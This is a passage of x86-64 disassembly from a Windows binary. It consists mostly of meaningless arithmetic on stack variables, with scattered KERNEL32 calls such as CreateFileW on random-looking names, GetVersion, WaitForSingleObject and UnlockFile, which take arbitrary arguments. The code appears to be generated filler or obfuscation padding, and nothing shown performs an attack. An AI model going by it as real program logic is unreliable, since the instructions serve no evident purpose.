movsx eax, word [rsp + 0x2d1c]
mov rcx, qword [rsp + 0x15520]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2cd0], ax
mov rax, qword [0x14036a290]
movzx eax, byte [rax]
mov byte [rsp + 0x7d6], al
mov rax, qword [rsp + 0x15ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15c18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15118]
mov byte [rcx], al
mov rax, qword [rsp + 0x13728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13888]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a10], ax
lea rax, [0x14036254c]
mov qword [rsp + 0x16568], rax
mov rax, qword [rsp + 0x13628]
mov ecx, dword [rsp + 0xa184]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14036245c], eax
mov rax, qword [rsp + 0x158e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa434], eax
mov rax, qword [0x14036a378]
mov ecx, dword [rsp + 0x9f98]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8cac], eax
mov rax, qword [rsp + 0x161b0]
mov ecx, dword [rsp + 0x83e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f94], eax
movzx eax, word [rsp + 0x2c14]
mov rcx, qword [rsp + 0x14908]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13810]
mov word [rcx], ax
movzx eax, byte [rsp + 0x630]
mov byte [rsp + 0x7d7], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.2chODinyDGeWwt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16570], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rsp + 0xa228]
mov ecx, dword [rsp + 0x778c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15ad8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa19c]
mov ecx, dword [rsp + 0xa038]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x617c], eax
mov rax, qword [rsp + 0x16560]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9cb4]
shl eax, cl
mov dword [rsp + 0xa3c4], eax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov dword [0x14036a448], eax
mov rax, qword [0x14036a110]
movzx eax, word [rax]
mov word [rsp + 0x2e48], ax
mov rax, qword [rsp + 0x13a38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x753]
sar eax, cl
mov rcx, qword [rsp + 0x13710]
mov byte [rcx], al
movsx eax, byte [rsp + 0x730]
movsx ecx, byte [rsp + 0x756]
or eax, ecx
mov byte [rsp + 0x1d9], al
movsx eax, word [rsp + 0x1ed0]
mov rcx, qword [rsp + 0x16420]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1fa8], ax
mov rax, qword [rsp + 0x15b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9028], eax
lea rax, [rsp + 0x63d0]
mov qword [rsp + 0x16578], rax
movzx eax, byte [rsp + 0x752]
movzx ecx, byte [rsp + 0x7bb]
sub eax, ecx
mov rcx, qword [rsp + 0x15618]
mov byte [rcx], al
movzx eax, word [rsp + 0x246c]
movzx ecx, word [rsp + 0x2e1c]
and eax, ecx
mov word [rsp + 0x2de4], ax
mov rax, qword [0x140369dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7cac]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a120]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8f14]
mov dword [rsp + 0xa52c], eax
mov rax, qword [rsp + 0x14b38]
mov ecx, dword [rsp + 0x9a54]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa0d0], eax
lea rax, [0x140369f88]
mov qword [rsp + 0x16580], rax
mov rax, qword [rsp + 0x145e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15f48]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x150d8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x15628]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15598]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x280c], ax
mov eax, dword [0x14036a0b0]
mov dword [rsp + 0xa530], eax
mov rax, qword [rsp + 0x15c68]
mov ecx, dword [rsp + 0x9c44]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14008]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e64], eax
lea rax, [rsp + 0x5b48]
mov qword [rsp + 0x16588], rax
lea rax, [rsp + 0x6798]
mov qword [0x14036a450], rax
mov eax, dword [rsp + 0x6218]
mov ecx, dword [rsp + 0xa0b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ed4], eax
movsx eax, word [rsp + 0x2e38]
movsx ecx, word [rsp + 0x2c9c]
add eax, ecx
mov rcx, qword [rsp + 0x15330]
mov word [rcx], ax
mov rax, qword [rsp + 0x15e58]
movsx eax, byte [rax]
mov rcx, qword [0x140369e00]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6a0], al
mov rax, qword [rsp + 0x156e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7cd]
shl eax, cl
mov rcx, qword [rsp + 0x163a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13158]
movzx eax, word [rax]
mov word [rsp + 0x2e4c], ax
mov rax, qword [0x14036a378]
mov rcx, qword [rsp + 0x12cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146a8]
mov rcx, qword [rsp + 0x13cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5dc0], eax
movzx eax, word [rsp + 0x2d28]
movzx ecx, word [0x14036a068]
and eax, ecx
mov rcx, qword [rsp + 0x15828]
mov word [rcx], ax
lea rax, [rsp + 0x774]
mov qword [0x14036a458], rax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa148]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa208], eax
mov rcx, qword [rsp + 0x14018]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xa05c]
mov qword [rsp + 0x16590], rax
mov eax, dword [rsp + 0x9e80]
mov ecx, dword [rsp + 0x7a24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a58]
mov eax, dword [rax]
mov dword [rsp + 0xa534], eax
movzx eax, word [rsp + 0x2d90]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14bc], ax
mov rax, qword [rsp + 0x153f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15ba8]
mov byte [rcx], al
mov rax, qword [rsp + 0x135d0]
mov eax, dword [rax]
mov dword [rsp + 0xa538], eax
mov rax, qword [rsp + 0x13580]
mov ecx, dword [0x1403624b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7384], eax
movsx eax, word [rsp + 0x2de8]
movsx ecx, word [rsp + 0x1350]
or eax, ecx
mov word [0x1403624b8], ax
movsx eax, byte [rsp + 0x2d2]
movsx ecx, byte [rsp + 0x491]
sub eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x12f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x229]
add eax, ecx
mov rcx, qword [rsp + 0x15630]
mov byte [rcx], al
mov rax, qword [rsp + 0x14b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16480]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15f10]
mov word [rcx], ax
lea rax, [rsp + 0x9aec]
mov qword [rsp + 0x16598], rax
mov rax, qword [rsp + 0x159d8]
mov rcx, qword [rsp + 0x14128]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13818]
mov dword [rcx], eax
lea rax, [rsp + 0x9bc4]
mov qword [rsp + 0x165a0], rax
mov rax, qword [rsp + 0x16238]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15a08]
mov qword [rsp + 0x165a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x165a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15238]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa280]
mov dword [rsp + 0xa53c], eax
movzx eax, word [rsp + 0x2bd4]
mov rcx, qword [rsp + 0x13960]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c08], ax
lea rax, [rsp + 0x774]
mov qword [0x14036a460], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.85cbOmITmMlb2p9oCflKWfdwxtLI7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x165b0], rax
mov rax, qword [rsp + 0x15d18]
mov ecx, dword [rsp + 0x93fc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x16018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x847c], eax
mov rax, qword [rsp + 0x14228]
mov rcx, qword [0x140369bc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x526c], eax
mov rax, qword [rsp + 0x13c28]
mov eax, dword [rax]
mov dword [rsp + 0xa540], eax
movzx eax, word [rsp + 0x2db8]
mov rcx, qword [rsp + 0x15d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c0c], ax
movzx eax, byte [rsp + 0x708]
movzx ecx, byte [rsp + 0x112]
sub eax, ecx
mov rcx, qword [rsp + 0x13f88]
mov byte [rcx], al
mov rax, qword [rsp + 0x136a0]
movzx eax, word [rax]
mov word [rsp + 0x2e50], ax
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x16550]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12ea0]
mov byte [rcx], al
mov rax, qword [rsp + 0x15ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a50]
sub ecx, eax
mov eax, ecx
mov dword [0x140362544], eax
mov rax, qword [rsp + 0x13fe0]
mov ecx, dword [rsp + 0x9e14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8068], eax
mov rax, qword [rsp + 0x15cc8]
movzx eax, word [rax]
imul eax, eax, 0x91e
mov word [rsp + 0x20d8], ax
mov rax, qword [0x14036a080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3f0]
or eax, ecx
mov rcx, qword [rsp + 0x15448]
mov byte [rcx], al
lea rax, [rsp + 0x9cf0]
mov qword [rsp + 0x165b8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa160], eax
mov rax, qword [rsp + 0x13d68]
mov ecx, dword [0x1403624f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5418], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov edx, 0xef
mov rcx, qword [rsp + 0x155c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ff4], eax
lea rax, [rsp + 0xa318]
mov qword [rsp + 0x165c0], rax
mov rax, qword [rsp + 0x13a70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa4a8]
shl eax, cl
mov dword [rsp + 0xa1b8], eax
movzx eax, byte [rsp + 0x615]
cdq
mov ecx, 0xcd
idiv ecx
mov rcx, qword [rsp + 0x15318]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x165c8], rax
lea rax, [rsp + 0x2280]
mov qword [0x14036a468], rax
mov edx, 0x1428
mov rcx, qword [rsp + 0x15250]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa514], eax
mov rax, qword [rsp + 0x13af0]
mov eax, dword [rax]
mov dword [rsp + 0xa544], eax
mov rax, qword [rsp + 0x15fe8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15f08]
mov qword [rsp + 0x165d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x165d0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14d20]
mov dword [rcx], eax
lea rax, [0x140362534]
mov qword [rsp + 0x165d8], rax
mov rax, qword [rsp + 0x14118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bb0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6228], eax
lea rax, [rsp + 0x9eb0]
mov qword [rsp + 0x165e0], rax
movsx eax, byte [rsp + 0x762]
mov rcx, qword [0x14036a200]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15500]
mov byte [rcx], al
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13f38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15ed8]
mov word [rcx], ax
lea rax, [rsp + 0x6c0]
mov qword [rsp + 0x165e8], rax
movzx eax, word [0x14036a058]
mov rcx, qword [rsp + 0x13998]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14036a1c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x16070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5920]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16308]
mov ecx, dword [rsp + 0xa1c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x888c], eax
mov rax, qword [rsp + 0x15dd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x453]
sub eax, ecx
mov byte [rsp + 0x13b], al
movzx eax, word [rsp + 0x2c40]
mov rcx, qword [rsp + 0x147d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a44], ax
mov rax, qword [0x140369e98]
mov eax, dword [rax]
mov dword [rsp + 0xa548], eax
mov rax, qword [rsp + 0x140d0]
mov rcx, qword [rsp + 0x13070]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15960]
mov dword [rcx], eax
lea rax, [rsp + 0x7ccc]
mov qword [rsp + 0x165f0], rax
mov rax, qword [rsp + 0x14108]
mov rcx, qword [0x140369bc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15b58]
mov dword [rcx], eax
lea rax, [rsp + 0x2bc4]
mov qword [0x14036a470], rax
mov rax, qword [rsp + 0x14870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15b00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x139d0]
mov byte [rcx], al
lea rax, [0x1403624d0]
mov qword [rsp + 0x165f8], rax
mov eax, dword [rsp + 0x9ce4]
mov ecx, dword [rsp + 0x9f74]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x158b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6a0]
mov byte [rsp + 0x7d8], al
mov qword [rsp + 0x20], 0
mov r9d, 0x1c13
mov r8d, 0x3075
mov edx, 0xb
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa54c], eax
mov rax, qword [rsp + 0x13fc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14280]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x15180]
mov word [rcx], ax
movzx eax, byte [rsp + 0x181]
movzx ecx, byte [rsp + 0x7d1]
shl eax, cl
mov byte [rsp + 0x78c], al
lea rax, [rsp + 0x2ca4]
mov qword [rsp + 0x16600], rax
mov rax, qword [0x140369ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x97b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15740]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8880]
mov ecx, dword [rsp + 0x6228]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a190]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa230]
mov ecx, dword [rsp + 0x8754]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x72f4], eax
mov rax, qword [rsp + 0x164a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa374]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x157b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14808]
mov eax, dword [rax]
mov dword [rsp + 0xa550], eax
movzx eax, byte [rsp + 0x1c4]
movzx ecx, byte [rsp + 0x7af]
or eax, ecx
mov rcx, qword [rsp + 0x131d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x137c]
mov rcx, qword [rsp + 0x13898]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x15de0]
mov word [rcx], ax
mov rax, qword [rsp + 0x158d0]
mov rcx, qword [rsp + 0x13190]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7c1c], eax
mov rax, qword [rsp + 0x15d78]
mov ecx, dword [rsp + 0xa158]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa0a8], eax
lea rax, [rsp + 0x9f7c]
mov qword [rsp + 0x16608], rax
mov rax, qword [rsp + 0x12eb8]
mov ecx, dword [rsp + 0x9c24]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14036a3e4], eax
mov rax, qword [0x140369be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76b]
add eax, ecx
mov rcx, qword [rsp + 0x15850]
mov byte [rcx], al
mov rax, qword [rsp + 0x15768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bd0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rax, [rsp + 0x2808]
mov qword [rsp + 0x16610], rax
mov rax, qword [0x14036a420]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x759]
sub eax, ecx
mov byte [rsp + 0x2d2], al
lea rdx, [rsp + 0x43410]
mov rcx, qword [rsp + 0x16410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa00c], eax
lea rax, [rsp + 0x7fc4]
mov qword [rsp + 0x16618], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16620], rax
mov eax, dword [0x14036a00c]
mov ecx, dword [rsp + 0xa200]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a40], eax
movzx eax, word [rsp + 0x2bf4]
movzx ecx, word [rsp + 0x18f4]
sub eax, ecx
mov rcx, qword [rsp + 0x15678]
mov word [rcx], ax
movzx eax, byte [rsp + 0x732]
mov byte [rsp + 0x7d9], al
lea rax, [rsp + 0x9db4]
mov qword [0x14036a478], rax
mov rax, qword [rsp + 0x14668]
mov eax, dword [rax]
mov rcx, qword [0x140369dc8]
mov qword [rsp + 0x16628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16628]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x15170]
mov dword [rcx], eax
lea rax, [rsp + 0x84ac]
mov qword [rsp + 0x16630], rax
mov eax, dword [rsp + 0xa35c]
mov ecx, dword [rsp + 0x9d38]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15a00]
mov dword [rcx], eax
mov rax, qword [0x14036a1c8]
movzx eax, byte [rax]
cdq
mov ecx, 0x6b
idiv ecx
mov byte [rsp + 0x43d], al
movzx eax, word [rsp + 0x2c1c]
movzx ecx, word [rsp + 0x2df0]
shl eax, cl
mov word [rsp + 0x2ce4], ax
mov rax, qword [rsp + 0x13190]
mov ecx, dword [rsp + 0x7e50]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b3c], eax
mov eax, dword [rsp + 0x8924]
mov dword [rsp + 0xa554], eax
mov eax, dword [rsp + 0x6658]
mov ecx, dword [rsp + 0x8d78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b8], eax
mov eax, dword [rsp + 0x9c70]
mov ecx, dword [rsp + 0x6700]
and ecx, eax
mov eax, ecx
mov dword [0x1403624fc], eax
lea rax, [rsp + 0xa454]
mov qword [rsp + 0x16638], rax
mov rax, qword [rsp + 0x15430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d68]
sub eax, ecx
mov word [rsp + 0x1304], ax
movsx eax, byte [0x140363f0c]
movsx ecx, byte [rsp + 0x319]
or eax, ecx
mov rcx, qword [rsp + 0x153d0]
mov byte [rcx], al
lea rax, [rsp + 0x2700]
mov qword [rsp + 0x16640], rax
movzx eax, byte [rsp + 0x161]
mov rcx, qword [rsp + 0x146e0]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x14ab8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x13910]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a60], eax
mov eax, dword [rsp + 0x7db0]
mov dword [rsp + 0xa558], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0x156c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x55dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e18]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x152c0]
mov word [rcx], ax
movzx eax, byte [0x140363f84]
mov byte [0x14036400c], al
lea rax, [rsp + 0xa090]
mov qword [rsp + 0x16648], rax
mov dword [rsp + 0x20], 0x8fd
mov r9d, 0x9ed
mov r8d, 0x2d74
mov edx, 0x2b08
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa55c], eax
mov rax, qword [rsp + 0x14788]
mov ecx, dword [rsp + 0xa260]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa010], eax
lea rax, [rsp + 0x9250]
mov qword [rsp + 0x16650], rax
mov rax, qword [rsp + 0x134f8]
mov ecx, dword [rsp + 0xa040]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ee0], eax
mov rax, qword [rsp + 0x14dc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74d]
sub eax, ecx
mov byte [rsp + 0x204], al
lea rax, [0x140369df8]
mov qword [rsp + 0x16658], rax
mov eax, dword [rsp + 0x9730]
movzx ecx, al
mov eax, dword [rsp + 0x62ac]
shl eax, cl
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
lea rax, [rsp + 0xa094]
mov qword [rsp + 0x16660], rax
lea rax, [rsp + 0x761]
mov qword [0x14036a480], rax
mov rax, qword [0x14036a258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x16170]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d68], ax
movzx eax, byte [rsp + 0x104]
movzx ecx, byte [rsp + 0x384]
sar eax, cl
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x13d00]
movzx eax, word [rax]
movzx ecx, word [0x1403624d8]
imul eax, ecx
mov word [rsp + 0x1fe4], ax
mov rax, qword [rsp + 0x13d90]
mov ecx, dword [rsp + 0xa1d8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x92dc], eax
lea rax, [rsp + 0x69c8]
mov qword [rsp + 0x16668], rax
mov rax, qword [rsp + 0x14b98]
mov ecx, dword [0x14036a220]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa0b8], eax
mov rax, qword [rsp + 0x16260]
mov eax, dword [rax]
mov dword [rsp + 0xa560], eax
mov eax, dword [rsp + 0x5c28]
mov ecx, dword [rsp + 0x83e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov rax, qword [0x140369c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b0], al
movzx eax, word [rsp + 0x25a0]
mov rcx, qword [rsp + 0x131e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14036a068], ax
lea rax, [rsp + 0x9688]
mov qword [rsp + 0x16670], rax
mov rax, qword [rsp + 0x14408]
mov rcx, qword [rsp + 0x13d98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9fcc], eax
mov rcx, qword [rsp + 0x15308]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x7344]
mov qword [rsp + 0x16678], rax
mov rax, qword [rsp + 0x14158]
mov ecx, dword [rsp + 0x9808]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa0cc], eax
mov rax, qword [rsp + 0x15070]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13858]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x76a], al
movzx eax, word [rsp + 0x2e1c]
mov rcx, qword [rsp + 0x15670]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1134], ax
movsx eax, byte [rsp + 0x796]
movsx ecx, byte [0x140363f86]
add eax, ecx
mov byte [rsp + 0x73b], al
lea rax, [rsp + 0x2e2c]
mov qword [rsp + 0x16680], rax
mov eax, dword [rsp + 0x6270]
mov ecx, dword [rsp + 0x8214]
and ecx, eax
mov eax, ecx
mov dword [0x140362574], eax
mov rax, qword [0x14036a230]
mov rcx, qword [rsp + 0x15fc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14ed0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b74], eax
movzx eax, byte [rsp + 0x2ce]
mov byte [rsp + 0x7da], al
movzx eax, word [rsp + 0x1a3c]
mov rcx, qword [rsp + 0x13be0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x159f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x5464]
movzx ecx, al
mov eax, dword [0x14036245c]
sar eax, cl
mov dword [rsp + 0xa0f0], eax
lea rax, [rsp + 0x9b8c]
mov qword [rsp + 0x16688], rax
mov rax, qword [rsp + 0x151e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8114]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15390]
mov dword [rcx], eax
lea rax, [rsp + 0x9ef0]
mov qword [rsp + 0x16690], rax
movzx eax, byte [rsp + 0x7af]
movzx ecx, byte [rsp + 0x7b0]
or eax, ecx
mov byte [rsp + 0x18b], al
movzx eax, word [rsp + 0x2d70]
mov rcx, qword [rsp + 0x16508]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x14036a3c8]
mov word [rcx], ax
mov rax, qword [0x14036a270]
mov ecx, dword [rsp + 0xa0c4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14100]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov edx, 0x36c
mov rcx, qword [rsp + 0x13168]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa564], eax
lea rax, [rsp + 0x8924]
mov qword [rsp + 0x16698], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov eax, dword [0x140362564]
mov ecx, dword [rsp + 0x9e48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x82e4], eax
mov eax, dword [rsp + 0x9b44]
mov dword [rsp + 0xa568], eax
mov rax, qword [rsp + 0x145f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142e0]
movsx eax, byte [rax]
mov rcx, qword [0x14036a290]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12c], al
movsx eax, word [rsp + 0x2c58]
mov rcx, qword [rsp + 0x147f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2264], ax
lea rcx, [rsp + 0x4d2f0]
